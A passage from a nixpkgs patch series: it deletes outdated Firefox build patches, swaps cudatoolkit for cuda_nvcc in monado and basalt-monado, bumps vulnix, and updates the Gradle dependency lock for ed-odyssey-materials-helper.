(cherry picked from commit e11bcbb432b63317c9213d45c1953b1d77f7c244)
---
 ...CK_LINKER-setting-when-linker-name-i.patch | 57 -------------------
 .../build-mozilla-mach/default.nix            | 28 +--------
 .../env_var_for_system_dir-ff111.patch        | 22 -------
 .../env_var_for_system_dir-ff133.patch        | 22 -------
 .../firefox-cannot-find-type-Allocator.patch  | 26 ---------
 .../firefox-mac-missing-vector-header.patch   | 11 ----
 .../no-buildconfig-ffx121.patch               | 27 ---------
 .../no-buildconfig-ffx136.patch               | 26 ---------
 8 files changed, 1 insertion(+), 218 deletions(-)
 delete mode 100644 pkgs/build-support/build-mozilla-mach/build-fix-RELRHACK_LINKER-setting-when-linker-name-i.patch
 delete mode 100644 pkgs/build-support/build-mozilla-mach/env_var_for_system_dir-ff111.patch
 delete mode 100644 pkgs/build-support/build-mozilla-mach/env_var_for_system_dir-ff133.patch
 delete mode 100644 pkgs/build-support/build-mozilla-mach/firefox-cannot-find-type-Allocator.patch
 delete mode 100644 pkgs/build-support/build-mozilla-mach/firefox-mac-missing-vector-header.patch
 delete mode 100644 pkgs/build-support/build-mozilla-mach/no-buildconfig-ffx121.patch
 delete mode 100644 pkgs/build-support/build-mozilla-mach/no-buildconfig-ffx136.patch

diff --git a/pkgs/build-support/build-mozilla-mach/build-fix-RELRHACK_LINKER-setting-when-linker-name-i.patch b/pkgs/build-support/build-mozilla-mach/build-fix-RELRHACK_LINKER-setting-when-linker-name-i.patch
deleted file mode 100644
index 58107b6b9320..000000000000
--- a/pkgs/build-support/build-mozilla-mach/build-fix-RELRHACK_LINKER-setting-when-linker-name-i.patch
+++ /dev/null
@@ -1,57 +0,0 @@
-From 45d40b3eeb393051bd3a49feebcefe39dc6e4e93 Mon Sep 17 00:00:00 2001
-From: Peter Collingbourne <pcc@google.com>
-Date: Wed, 23 Apr 2025 21:13:38 -0700
-Subject: [PATCH] build: fix RELRHACK_LINKER setting when linker name is target
- triple prefixed
-
-RELRHACK_LINKER is used as the name of a binary installed in a
-directory specified with -B to override the linker. Both Clang and
-GCC will only look for a binary named "ld" (or "ld.$fuse_ld_setting"
-if -fuse-ld= is specified) in the -B directories, which means that
-if the linker name does not follow this pattern, for example if it
-is named $target_triple-ld", the relrhack linker will not be found,
-the compiler will use the normal linker and the link will fail. To fix
-this problem, use the correct pattern to name the relrhack executable.
----
- toolkit/moz.configure | 16 ++++++++--------
- 1 file changed, 8 insertions(+), 8 deletions(-)
-
-diff --git a/toolkit/moz.configure b/toolkit/moz.configure
-index 6c47287a5b..1a9c368e5e 100644
---- a/toolkit/moz.configure
-+++ b/toolkit/moz.configure
-@@ -1843,23 +1843,23 @@ with only_when("--enable-compile-environment"):
-     use_relrhack = depends(which_elf_hack)(lambda x: x == "relr")
-     set_config("RELRHACK", True, when=use_relrhack)
- 
--    @depends(c_compiler, linker_ldflags, when=use_relrhack)
--    def relrhack_real_linker(c_compiler, linker_ldflags):
-+    @depends(linker_ldflags, when=use_relrhack)
-+    def relrhack_linker(linker_ldflags):
-         ld = "ld"
-         for flag in linker_ldflags:
-             if flag.startswith("-fuse-ld="):
-                 ld = "ld." + flag[len("-fuse-ld=") :]
-+        return ld
-+
-+    set_config("RELRHACK_LINKER", relrhack_linker)
-+
-+    @depends(c_compiler, relrhack_linker, when=use_relrhack)
-+    def relrhack_real_linker(c_compiler, ld):
-         ld = check_cmd_output(
-             c_compiler.compiler, f"--print-prog-name={ld}", *c_compiler.flags
-         )
-         return ld.rstrip()
- 
--    @depends(relrhack_real_linker, when=use_relrhack)
--    def relrhack_linker(ld):
--        return os.path.basename(ld)
--
--    set_config("RELRHACK_LINKER", relrhack_linker)
--
-     std_filesystem = host_cxx_compiler.try_run(
-         header="#include <filesystem>",
-         body='auto foo = std::filesystem::absolute("");',
--- 
-2.49.0.805.g082f7c87e0-goog
-
diff --git a/pkgs/build-support/build-mozilla-mach/default.nix b/pkgs/build-support/build-mozilla-mach/default.nix
index 10304f4819d5..953f4a5b1cbb 100644
--- a/pkgs/build-support/build-mozilla-mach/default.nix
+++ b/pkgs/build-support/build-mozilla-mach/default.nix
@@ -304,15 +304,7 @@ buildStdenv.mkDerivation {
   ];
 
   patches =
-    lib.optionals (lib.versionAtLeast version "111" && lib.versionOlder version "133") [
-      ./env_var_for_system_dir-ff111.patch
-    ]
-    ++ lib.optionals (lib.versionAtLeast version "133") [ ./env_var_for_system_dir-ff133.patch ]
-    ++ lib.optionals (lib.versionAtLeast version "121" && lib.versionOlder version "136") [
-      ./no-buildconfig-ffx121.patch
-    ]
-    ++ lib.optionals (lib.versionAtLeast version "136") [ ./no-buildconfig-ffx136.patch ]
-    ++ lib.optionals (lib.versionAtLeast version "139" && lib.versionOlder version "141") [
+    lib.optionals (lib.versionAtLeast version "139" && lib.versionOlder version "141") [
       # https://bugzilla.mozilla.org/show_bug.cgi?id=1955112
       # https://hg-edge.mozilla.org/mozilla-central/rev/aa8a29bd1fb9
       ./139-wayland-drag-animation.patch
@@ -326,24 +318,6 @@ buildStdenv.mkDerivation {
         [
           ./142-relax-apple-sdk.patch
         ]
-    ++ lib.optionals (lib.versionOlder version "139") [
-      # Fix for missing vector header on macOS
-      # https://bugzilla.mozilla.org/show_bug.cgi?id=1959377
-      # Fixed on Firefox 139
-      ./firefox-mac-missing-vector-header.patch
-    ]
-    ++ lib.optionals (lib.versionOlder version "140") [
-      # https://bugzilla.mozilla.org/show_bug.cgi?id=1962497
-      # https://phabricator.services.mozilla.com/D246545
-      # Fixed on Firefox 140
-      ./build-fix-RELRHACK_LINKER-setting-when-linker-name-i.patch
-    ]
-    ++ lib.optionals (lib.versionOlder version "138") [
-      # https://bugzilla.mozilla.org/show_bug.cgi?id=1941479
-      # https://phabricator.services.mozilla.com/D240572
-      # Fixed on Firefox 138
-      ./firefox-cannot-find-type-Allocator.patch
-    ]
     ++ extraPatches;
 
   postPatch = ''
diff --git a/pkgs/build-support/build-mozilla-mach/env_var_for_system_dir-ff111.patch b/pkgs/build-support/build-mozilla-mach/env_var_for_system_dir-ff111.patch
deleted file mode 100644
index 71f5272a18e5..000000000000
--- a/pkgs/build-support/build-mozilla-mach/env_var_for_system_dir-ff111.patch
+++ /dev/null
@@ -1,22 +0,0 @@
-diff --git a/toolkit/xre/nsXREDirProvider.cpp b/toolkit/xre/nsXREDirProvider.cpp
-index 6db876975187..5882c5d7f1d6 100644
---- a/toolkit/xre/nsXREDirProvider.cpp
-+++ b/toolkit/xre/nsXREDirProvider.cpp
-@@ -11,6 +11,7 @@
- 
- #include "jsapi.h"
- #include "xpcpublic.h"
-+#include "prenv.h"
- #include "prprf.h"
- 
- #include "nsIAppStartup.h"
-@@ -309,7 +310,8 @@ static nsresult GetSystemParentDirectory(nsIFile** aFile) {
-       "/usr/lib/mozilla"_ns
- #    endif
-       ;
--  rv = NS_NewNativeLocalFile(dirname, false, getter_AddRefs(localDir));
-+  const char* pathVar = PR_GetEnv("MOZ_SYSTEM_DIR");
-+  rv = NS_NewNativeLocalFile((pathVar && *pathVar) ? nsDependentCString(pathVar) : reinterpret_cast<const nsCString&>(dirname), false, getter_AddRefs(localDir));
- #  endif
- 
-   if (NS_SUCCEEDED(rv)) {
diff --git a/pkgs/build-support/build-mozilla-mach/env_var_for_system_dir-ff133.patch b/pkgs/build-support/build-mozilla-mach/env_var_for_system_dir-ff133.patch
deleted file mode 100644
index f35569c5909f..000000000000
--- a/pkgs/build-support/build-mozilla-mach/env_var_for_system_dir-ff133.patch
+++ /dev/null
@@ -1,22 +0,0 @@
-diff --git a/toolkit/xre/nsXREDirProvider.cpp b/toolkit/xre/nsXREDirProvider.cpp
-index 6db876975187..5882c5d7f1d6 100644
---- a/toolkit/xre/nsXREDirProvider.cpp
-+++ b/toolkit/xre/nsXREDirProvider.cpp
-@@ -11,6 +11,7 @@
- 
- #include "jsapi.h"
- #include "xpcpublic.h"
-+#include "prenv.h"
- #include "prprf.h"
- 
- #include "nsIAppStartup.h"
-@@ -297,7 +297,8 @@ static nsresult GetSystemParentDirectory(nsIFile** aFile) {
-       "/usr/lib/mozilla"_ns
- #    endif
-       ;
--  rv = NS_NewNativeLocalFile(dirname, getter_AddRefs(localDir));
-+  const char* pathVar = PR_GetEnv("MOZ_SYSTEM_DIR");
-+  rv = NS_NewNativeLocalFile((pathVar && *pathVar) ? nsDependentCString(pathVar) : reinterpret_cast<const nsCString&>(dirname), getter_AddRefs(localDir));
- #  endif
- 
-   if (NS_SUCCEEDED(rv)) {
diff --git a/pkgs/build-support/build-mozilla-mach/firefox-cannot-find-type-Allocator.patch b/pkgs/build-support/build-mozilla-mach/firefox-cannot-find-type-Allocator.patch
deleted file mode 100644
index 5ab5401e1c43..000000000000
--- a/pkgs/build-support/build-mozilla-mach/firefox-cannot-find-type-Allocator.patch
+++ /dev/null
@@ -1,26 +0,0 @@
-From 518049ce568d01413eeda304e8e9c341ab8849f6 Mon Sep 17 00:00:00 2001
-From: Mike Hommey <mh+mozilla@glandium.org>
-Date: Thu, 6 Mar 2025 09:36:10 +0000
-Subject: [PATCH] Bug 1941479 - Mark mozilla::SmallPointerArray_Element as
- opaque. r=emilio
-
-Differential Revision: https://phabricator.services.mozilla.com/D240572
----
- layout/style/ServoBindings.toml | 1 +
- 1 file changed, 1 insertion(+)
-
-diff --git a/layout/style/ServoBindings.toml b/layout/style/ServoBindings.toml
-index 86c6c3026ce7..2b9a34a81a0f 100644
---- a/layout/style/ServoBindings.toml
-+++ b/layout/style/ServoBindings.toml
-@@ -301,6 +301,7 @@ opaque-types = [
-     "mozilla::dom::Touch",
-     "mozilla::dom::Sequence",
-     "mozilla::SmallPointerArray",
-+    "mozilla::SmallPointerArray_Element",
-     "mozilla::dom::Optional",
-     "mozilla::dom::OwningNodeOrString_Value",
-     "mozilla::dom::Nullable",
--- 
-2.49.0
-
diff --git a/pkgs/build-support/build-mozilla-mach/firefox-mac-missing-vector-header.patch b/pkgs/build-support/build-mozilla-mach/firefox-mac-missing-vector-header.patch
deleted file mode 100644
index 19510f1ff142..000000000000
--- a/pkgs/build-support/build-mozilla-mach/firefox-mac-missing-vector-header.patch
+++ /dev/null
@@ -1,11 +0,0 @@
-diff -r 8273f6f8f9b6 security/sandbox/mac/Sandbox.h
---- a/security/sandbox/mac/Sandbox.h	Mon Sep 02 00:19:08 2024 +0000
-+++ b/security/sandbox/mac/Sandbox.h	Sun Dec 29 11:41:25 2024 -0500
-@@ -7,6 +7,7 @@
- #define mozilla_Sandbox_h
- 
- #include <string>
-+#include <vector>
- #include "mozilla/ipc/UtilityProcessSandboxing.h"
- 
- enum MacSandboxType {
diff --git a/pkgs/build-support/build-mozilla-mach/no-buildconfig-ffx121.patch b/pkgs/build-support/build-mozilla-mach/no-buildconfig-ffx121.patch
deleted file mode 100644
index 999d0bd8e7f3..000000000000
--- a/pkgs/build-support/build-mozilla-mach/no-buildconfig-ffx121.patch
+++ /dev/null
@@ -1,27 +0,0 @@
-diff --git a/docshell/base/nsAboutRedirector.cpp b/docshell/base/nsAboutRedirector.cpp
-index cfbc39527b02..9327631a79c5 100644
---- a/docshell/base/nsAboutRedirector.cpp
-+++ b/docshell/base/nsAboutRedirector.cpp
-@@ -88,9 +88,6 @@ static const RedirEntry kRedirMap[] = {
-     {"about", "chrome://global/content/aboutAbout.html", 0},
-     {"addons", "chrome://mozapps/content/extensions/aboutaddons.html",
-      nsIAboutModule::ALLOW_SCRIPT | nsIAboutModule::IS_SECURE_CHROME_UI},
--    {"buildconfig", "chrome://global/content/buildconfig.html",
--     nsIAboutModule::URI_SAFE_FOR_UNTRUSTED_CONTENT |
--         nsIAboutModule::IS_SECURE_CHROME_UI},
-     {"checkerboard", "chrome://global/content/aboutCheckerboard.html",
-      nsIAboutModule::URI_SAFE_FOR_UNTRUSTED_CONTENT |
-          nsIAboutModule::ALLOW_SCRIPT},
-diff --git a/toolkit/content/jar.mn b/toolkit/content/jar.mn
-index ed7c2ad3fc30..ff54456a6582 100644
---- a/toolkit/content/jar.mn
-+++ b/toolkit/content/jar.mn
-@@ -41,8 +41,6 @@ toolkit.jar:
-    content/global/aboutUrlClassifier.js
-    content/global/aboutUrlClassifier.xhtml
-    content/global/aboutUrlClassifier.css
--*   content/global/buildconfig.html
--   content/global/buildconfig.css
-    content/global/contentAreaUtils.js
-    content/global/datepicker.xhtml
- #ifndef MOZ_FENNEC
diff --git a/pkgs/build-support/build-mozilla-mach/no-buildconfig-ffx136.patch b/pkgs/build-support/build-mozilla-mach/no-buildconfig-ffx136.patch
deleted file mode 100644
index 69972b5518bb..000000000000
--- a/pkgs/build-support/build-mozilla-mach/no-buildconfig-ffx136.patch
+++ /dev/null
@@ -1,26 +0,0 @@
-diff --git a/docshell/base/nsAboutRedirector.cpp b/docshell/base/nsAboutRedirector.cpp
-index 16888323d7..b96450a247 100644
---- a/docshell/base/nsAboutRedirector.cpp
-+++ b/docshell/base/nsAboutRedirector.cpp
-@@ -90,9 +90,6 @@ static const RedirEntry kRedirMap[] = {
-     {"addons", "chrome://mozapps/content/extensions/aboutaddons.html",
-      nsIAboutModule::ALLOW_SCRIPT | nsIAboutModule::IS_SECURE_CHROME_UI},
- #endif
--    {"buildconfig", "chrome://global/content/buildconfig.html",
--     nsIAboutModule::URI_SAFE_FOR_UNTRUSTED_CONTENT |
--         nsIAboutModule::IS_SECURE_CHROME_UI},
-     {"checkerboard", "chrome://global/content/aboutCheckerboard.html",
-      nsIAboutModule::URI_SAFE_FOR_UNTRUSTED_CONTENT |
-          nsIAboutModule::ALLOW_SCRIPT},
-diff --git a/toolkit/content/jar.mn b/toolkit/content/jar.mn
-index eb6c179b60..57568668b1 100644
---- a/toolkit/content/jar.mn
-+++ b/toolkit/content/jar.mn
-@@ -40,7 +40,6 @@ toolkit.jar:
-    content/global/aboutUrlClassifier.js
-    content/global/aboutUrlClassifier.xhtml
-    content/global/aboutUrlClassifier.css
--*   content/global/buildconfig.html
-    content/global/buildconfig.css
-    content/global/contentAreaUtils.js
-    content/global/datepicker.xhtml

From 40bcb07cd92b96e50a853348d122dbafea47e1da Mon Sep 17 00:00:00 2001
From: Pavol Rusnak <pavol@rusnak.io>
Date: Mon, 25 Aug 2025 20:56:48 +0200
Subject: [PATCH 3928/4511] basalt-monado: do not use cudatoolkit, use
 cuda_nvcc

(cherry picked from commit a7575e30dfc923804ff534ac436c6c638710dba1)
---
 pkgs/by-name/ba/basalt-monado/package.nix | 4 +++-
 1 file changed, 3 insertions(+), 1 deletion(-)

diff --git a/pkgs/by-name/ba/basalt-monado/package.nix b/pkgs/by-name/ba/basalt-monado/package.nix
index 7d950559d94b..2557066fefb4 100644
--- a/pkgs/by-name/ba/basalt-monado/package.nix
+++ b/pkgs/by-name/ba/basalt-monado/package.nix
@@ -60,13 +60,15 @@ stdenv.mkDerivation {
     opencv.cxxdev
     tbb
     xorg.libX11
+  ]
+  ++ lib.optionals enableCuda [
+    cudaPackages.cuda_nvcc
   ];
 
   cmakeFlags = [
     (lib.cmakeBool "BASALT_INSTANTIATIONS_DOUBLE" false)
     (lib.cmakeBool "BUILD_TESTS" false)
     (lib.cmakeFeature "EIGEN_ROOT" "${eigen}/include/eigen3")
-    (lib.optionals enableCuda "-DCUDA_TOOLKIT_ROOT_DIR=${cudaPackages.cudatoolkit}")
   ];
 
   passthru.updateScript = nix-update-script { };

From 006e36e6876918b8a25a4a65bae316ed228975fa Mon Sep 17 00:00:00 2001
From: Pavol Rusnak <pavol@rusnak.io>
Date: Mon, 25 Aug 2025 20:57:09 +0200
Subject: [PATCH 3929/4511] monado: do not use cudatoolkit, use
 cuda_nvcc+cuda_cudart

(cherry picked from commit 1546f04d1e9f7fd7107c23c6bc3012044e5ff9da)
---
 pkgs/by-name/mo/monado/package.nix | 5 ++++-
 1 file changed, 4 insertions(+), 1 deletion(-)

diff --git a/pkgs/by-name/mo/monado/package.nix b/pkgs/by-name/mo/monado/package.nix
index d6d1cfff8c0f..d5fd54a17fbc 100644
--- a/pkgs/by-name/mo/monado/package.nix
+++ b/pkgs/by-name/mo/monado/package.nix
@@ -143,6 +143,10 @@ stdenv.mkDerivation (finalAttrs: {
   ]
   ++ lib.optionals tracingSupport [
     tracy
+  ]
+  ++ lib.optionals enableCuda [
+    cudaPackages.cuda_nvcc
+    cudaPackages.cuda_cudart
   ];
 
   cmakeFlags = [
@@ -151,7 +155,6 @@ stdenv.mkDerivation (finalAttrs: {
     (lib.cmakeBool "XRT_FEATURE_TRACING" tracingSupport)
     (lib.cmakeBool "XRT_OPENXR_INSTALL_ABSOLUTE_RUNTIME_PATH" true)
     (lib.cmakeBool "XRT_HAVE_STEAM" true)
-    (lib.optionals enableCuda "-DCUDA_TOOLKIT_ROOT_DIR=${cudaPackages.cudatoolkit}")
   ];
 
   # Help openxr-loader find this runtime

From baf0c3c7ef9b04fafe9274bc4dd5ceb57a29eb1c Mon Sep 17 00:00:00 2001
From: Henri Rosten <henri.rosten@unikie.com>
Date: Fri, 22 Aug 2025 11:25:38 +0300
Subject: [PATCH 3930/4511] vulnix: 1.11.0 -> 1.12.0

Signed-off-by: Henri Rosten <henri.rosten@unikie.com>
(cherry picked from commit 9de2b9fddb16f73411bba341324eaa33d738d17e)
---
 pkgs/by-name/vu/vulnix/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/vu/vulnix/package.nix b/pkgs/by-name/vu/vulnix/package.nix
index c9075f43ea7c..58d6fec05783 100644
--- a/pkgs/by-name/vu/vulnix/package.nix
+++ b/pkgs/by-name/vu/vulnix/package.nix
@@ -8,13 +8,13 @@
 
 python3Packages.buildPythonApplication rec {
   pname = "vulnix";
-  version = "1.11.0";
+  version = "1.12.0";
 
   src = fetchFromGitHub {
     owner = "nix-community";
     repo = "vulnix";
     tag = version;
-    hash = "sha256-bQjmAmTRP/ce25hSP1nTtuDmUtk46DxkKWtylJRoj3s=";
+    hash = "sha256-Z13YbGpXnOZByweGhsdmNwpYelcd96/jlWyvnsmn7tM=";
   };
 
   __darwinAllowLocalNetworking = true;

From 4ac842be6e865ef31042f301478315588b17dc14 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Marcell=20T=C3=B3th?= <elfenermarcell@gmail.com>
Date: Sun, 24 Aug 2025 19:12:59 +0200
Subject: [PATCH 3931/4511] ed-odyssey-materials-helper: 2.223 -> 2.240

The wrapper was changed as the program now logs to a seperate log directory.
Upstream moved various things to build secrets, this means that none of upstream's telemetry is included in this build anymore.

(cherry picked from commit 3909c419fbbd6c7b55718cb23cfd475c77d93fff)
---
 .../ed/ed-odyssey-materials-helper/deps.json  | 81 ++++++++++---------
 .../ed-odyssey-materials-helper/package.nix   | 22 ++---
 .../remove-sentry.patch                       | 53 ------------
 3 files changed, 54 insertions(+), 102 deletions(-)
 delete mode 100644 pkgs/by-name/ed/ed-odyssey-materials-helper/remove-sentry.patch

diff --git a/pkgs/by-name/ed/ed-odyssey-materials-helper/deps.json b/pkgs/by-name/ed/ed-odyssey-materials-helper/deps.json
index f5c91e0b0c33..95c248cc7a85 100644
--- a/pkgs/by-name/ed/ed-odyssey-materials-helper/deps.json
+++ b/pkgs/by-name/ed/ed-odyssey-materials-helper/deps.json
@@ -7,12 +7,6 @@
    "pom": "sha256-7wF38tn4fbnw0w7dQy2wLlhqHejMkVb8HcZRgvDh5oA="
   }
  },
- "https://nexus.jixxed.nl": {
-  "nexus/content/repositories/releases/nl/jixxed#opencv/4.5.3-0": {
-   "jar": "sha256-PwimnmKzejFrZdIsiNLtTExlvRvWKxKPDBbMTe4KhQQ=",
-   "pom": "sha256-yE9S2bEo5C5Y+j2+eQOHGnpJ1G1Soee7rNFHiRr/pNo="
-  }
- },
  "https://plugins.gradle.org/m2": {
   "com/cedarsoftware#json-io/4.14.1": {
    "jar": "sha256-UY3ynWhbHfjcpYCfEr9udnDY280SKAt/z5mjWNRs/fw=",
@@ -146,13 +140,13 @@
    "jar": "sha256-rOceeYcwWeJzA2Z0VgtQw9a5RbfKFosNSWKtdlCuHuw=",
    "pom": "sha256-rK0VkHGQpeZ7hZfM+wEx795ZbC+gXYrZ9LnGHaMfNkU="
   },
-  "org/beryx#badass-jlink-plugin/3.1.2": {
-   "jar": "sha256-JBAoa9WLW12KhHDH5AyAupDXEe28mC7YO258wSqDXx8=",
-   "module": "sha256-6pOdc3KiF+6oJK8ovJh9kpaR+PcVRlFeRgXRfK3RgW4=",
-   "pom": "sha256-so4VCD6W0FC05XzLTBA7lwnRCtVi9wNRyK3dJpv7vvk="
+  "org/beryx#badass-jlink-plugin/3.1.3": {
+   "jar": "sha256-2GievCLcBpg3WsaEHep23em1Q6kgW/fLFNzET/v99gA=",
+   "module": "sha256-FnogeApeGbRUUJnX/cBRAj0uD9RWwc6qqinRLf0LXvQ=",
+   "pom": "sha256-hxMC7pW+Z93NTEEgh4sV30fgfZCI2+tMus5iGDdNqx8="
   },
-  "org/beryx/jlink#org.beryx.jlink.gradle.plugin/3.1.2": {
-   "pom": "sha256-v3WZWFF1FKmxUeeI81VK9+qb778Qr6/F9Z/MdpRhGQM="
+  "org/beryx/jlink#org.beryx.jlink.gradle.plugin/3.1.3": {
+   "pom": "sha256-S9pQnIlx/bxI4ceXuEnuT8tqEMwnOAGzrlSVGEGsSH4="
   },
   "org/bouncycastle#bcpkix-lts8on/2.73.7": {
    "jar": "sha256-WHRYb7Se7ryZuH8SNShnm8Wlw4j+pL+E0semmQguKK0=",
@@ -424,9 +418,9 @@
    "jar": "sha256-s3KgN9QjCqV/vv/e8w/WEj+cDC24XQrO0AyRuXTzP5k=",
    "pom": "sha256-GNSx2yYVPU5VB5zh92ux/gXNuGLvmVSojLzE/zi4Z5s="
   },
-  "com/google/j2objc#j2objc-annotations/3.0.0": {
-   "jar": "sha256-iCQVc0Z93KRP/U10qgTCu/0Rv3wX4MNCyUyd56cKfGQ=",
-   "pom": "sha256-I7PQOeForYndEUaY5t1744P0osV3uId9gsc6ZRXnShc="
+  "com/google/j2objc#j2objc-annotations/3.1": {
+   "jar": "sha256-hNOhUFGEhfgUDqmbiphWVnSWKfZDPJK4DHWzaro7CZs=",
+   "pom": "sha256-FFcIOFAANPwbR8ggXOHJ1rJVwczdLRr9zcv3XomySjM="
   },
   "com/ibm/icu#icu4j/68.1": {
    "jar": "sha256-B+T4suXJvOIq/BXtmAY8D8k29eYT2CD+rnypB17FUlk=",
@@ -532,10 +526,10 @@
    "module": "sha256-tDIZwIxsAgw+sN8lRtrqd5IZP4lgRtVcozqZhfvajuc=",
    "pom": "sha256-fpMFhj0zE0zUpy0It/Evre4hda2ef3Jzi0nIptw8BVA="
   },
-  "io/sentry#sentry/8.18.0": {
-   "jar": "sha256-DDdafXlmZOMFnSurvvGTAmDT5Gp1WcM336VzXvmv8Jg=",
-   "module": "sha256-zaBT2zOx0RXEWanp3uilodhp9LoEDUrbzjnlq+hE8kA=",
-   "pom": "sha256-9wezZekQ7eUHSwYQmOv8/dh+IClFv6lBvaYJt/eAiqA="
+  "io/sentry#sentry/8.19.1": {
+   "jar": "sha256-C8udFKYqldae7JnSpmmYqFPiy+ngdvUI4yoZiu3On+g=",
+   "module": "sha256-K1+maQxgBynruFumu22Lytzm8jgOznnbTIoekMhQYbQ=",
+   "pom": "sha256-TBrEgd1LWn9qquRfPQHpriNmY0qzjPhyZ767+8/D2IE="
   },
   "jakarta/json/bind#jakarta.json.bind-api/2.0.0": {
    "jar": "sha256-peYGtYiLQStIkHrWiLNN/k4wroGJxvJ8wEkbjzwDYoc=",
@@ -578,22 +572,22 @@
    "jar": "sha256-jklbY0Rp1k+4rPo0laBly6zIoP/1XOHjEAe+TBbcV9M=",
    "pom": "sha256-Vptpd+5GA8llwcRsMFj6bpaSkbAWDraWTdCSzYnq3ZQ="
   },
-  "net/bytebuddy#byte-buddy-agent/1.17.5": {
-   "jar": "sha256-xbkzStguYy9q9g3yK7vbu2LO4Eh39PQ8OLoErtm9mQE=",
-   "pom": "sha256-C4NIL7Ujtb+UdKqCp8XTzhPPOlqatdY6zpVZGfbXzBQ="
+  "net/bytebuddy#byte-buddy-agent/1.17.6": {
+   "jar": "sha256-ioCVlGW7CYSM1BqJMBSQxVudlA3G7DDYq6wPY7Of1dA=",
+   "pom": "sha256-Zw0Cz7w5b05+ZhTd3PSghC+vF/l5k3PX4Mt7aq3Njm8="
   },
   "net/bytebuddy#byte-buddy-parent/1.15.11": {
    "pom": "sha256-jcUZ16PnkhEqfNhB6vvsTwDbxjPQha3SDEXwq0dspJY="
   },
-  "net/bytebuddy#byte-buddy-parent/1.17.5": {
-   "pom": "sha256-HoN1gn7n0vXkxwyzHJFn7OxgaTz2pbdzoeZv1NJnU2c="
+  "net/bytebuddy#byte-buddy-parent/1.17.6": {
+   "pom": "sha256-3RX5X9VgUmPwZdncuOzuzEjr5NZmw3KY/0RgAUlCQL0="
   },
   "net/bytebuddy#byte-buddy/1.15.11": {
    "pom": "sha256-IFuLJUGWcX6B2tZyu4aacZr8lt8pf5fYEe/+H0NlPa4="
   },
-  "net/bytebuddy#byte-buddy/1.17.5": {
-   "jar": "sha256-cVaMn4OWZ3IZ9lAmj79kk97UhO3NvfLa5hKcpb6B6Ns=",
-   "pom": "sha256-U81D27NbSORHJc1XbSAG4fcfIWh9BA94DMcKCn79QcI="
+  "net/bytebuddy#byte-buddy/1.17.6": {
+   "jar": "sha256-0mOCqDnLJtXGKgsPBHFbzvVaUx+WrGzkDeRSocBTnnA=",
+   "pom": "sha256-UExH3b8VsOc8ymO52woBwSp83n+LM6DF2dW1BtGUaz4="
   },
   "net/java#jvnet-parent/1": {
    "pom": "sha256-KBRAgRJo5l2eJms8yJgpfiFOBPCXQNA4bO60qJI9Y78="
@@ -782,9 +776,9 @@
    "module": "sha256-4IAoExN1s1fR0oc06aT7QhbahLJAZByz7358fWKCI/w=",
    "pom": "sha256-MjVQgdEJCVw9XTdNWkO09MG3XVSemD71ByPidy5TAqA="
   },
-  "org/assertj#assertj-core/3.27.3": {
-   "jar": "sha256-W4omIF9tXqYK2c5lzkpAoq/kxIq+7GG9B0CgiMJOifU=",
-   "pom": "sha256-jrN+QWt4B+e/833QN8QMBrlWk6dgWcX7m+uFSaTO19w="
+  "org/assertj#assertj-core/3.27.4": {
+   "jar": "sha256-zGmqhPeTVstjXD+f8/ht/w+djufve2hKLJqZgE/0UAg=",
+   "pom": "sha256-nLMcgATISEPShMQCqBRTvupFCb+neP9CKmcvfny/Ygw="
   },
   "org/controlsfx#controlsfx/11.2.2": {
    "jar": "sha256-BDwGYtUmljR9r4T8aQJ0xhIuD4CjFXo1St086oPA3qk=",
@@ -937,17 +931,17 @@
   "org/mockito#mockito-bom/4.11.0": {
    "pom": "sha256-2FMadGyYj39o7V8YjN6pRQBq6pk+xd+eUk4NJ9YUkdo="
   },
-  "org/mockito#mockito-core/5.18.0": {
-   "jar": "sha256-o9TkD3/mYBb+QsAN5ONDd310Eyr8hQGODwOsYzSmDyk=",
-   "pom": "sha256-cCZWNGCaFVU3MDM5Ht/rh5Apl0EgpxL+DZrYC6JI790="
+  "org/mockito#mockito-core/5.19.0": {
+   "jar": "sha256-2HX/I0pLcuDu3+Fw3YBHl6S4e6THYgfJZZ1vRrUnh3s=",
+   "pom": "sha256-NlnpFp4TwLUT6D7c1R6vqlcdYMYq9YGOzQkhqi0M0Bg="
   },
   "org/mockito#mockito-inline/5.2.0": {
    "jar": "sha256-7lLhwpmmMhhPuidKk3CZPgkUBCn15RbmxVcP1ldLKX8=",
    "pom": "sha256-cG00cOVtMaO1YwaY0Qeb79uYMUWwGE5LorhNo4eo9oQ="
   },
-  "org/mockito#mockito-junit-jupiter/5.18.0": {
-   "jar": "sha256-CIEdIIXe74Puy7vGeIXXpvbO+ZunJmgoAXCqxqSs0mU=",
-   "pom": "sha256-6pbNic+y9Ik1qjjyZVwGL/LGKkimAFgXk+/7qaa+iUY="
+  "org/mockito#mockito-junit-jupiter/5.19.0": {
+   "jar": "sha256-fPu3qcEZgFPGmcZjR5/Ug2rMIsJlAAPI3uIOf7xVplo=",
+   "pom": "sha256-x+4XLR/ALo/I/I8EPIfHGzXLfXR+kJNGQ9SSCTrXoUs="
   },
   "org/objenesis#objenesis-parent/3.3": {
    "pom": "sha256-MFw4SqLx4cf+U6ltpBw+w1JDuX1CjSSo93mBjMEL5P8="
@@ -1124,13 +1118,22 @@
    "pom": "sha256-6YLq3HiMac8uTeUKn2MrGCwx26UGEoMNNI/EtLqN19Y="
   }
  },
- "https://repo.repsy.io/mvn/jixxed/maven/nl/jixxed": {
-  "lept4j#lept4j/1.16.6": {
+ "https://repo.repsy.io/mvn/jixxed/maven/nl": {
+  "jixxed#opencv/4.5.3-0": {
+   "jar": "sha256-KzFMlU3fA60Knu+V8kRhemJ3XJaSXQ+QUunWXY/N34A=",
+   "pom": "sha256-1EU8kcvQYRI0F7rVkj5mBy068m4z2lXQE9KaMy+tlOY="
+  },
+  "jixxed/ed/awesome#ed-awesome-api/1.5": {
+   "jar": "sha256-o9e81yDaCYeLT/GknUb3Zvs6CTCKOuG1NTEy1X8sEYQ=",
+   "module": "sha256-bMYa+9HB0MB2VrO9lcBhH6XfMGMxx5XROs1YZ7VDpH8=",
+   "pom": "sha256-CCCnYjzmYx8Zfde+rTBQIYOfNJsnboNevcIS3BS9LEg="
+  },
+  "jixxed/lept4j#lept4j/1.16.6": {
    "jar": "sha256-39j+jS92/MW/A8WLaUZYKTkNPB+0IgNWkjcau9MMlx0=",
    "module": "sha256-fPk3r5TQdJrz0O5SgutXUWnI44UqKJxPBiiQC+wcSgA=",
    "pom": "sha256-k31BbQcMlLWOjhhkUgrWnOUyb/zKBhRzq8hC6p6d/eY="
   },
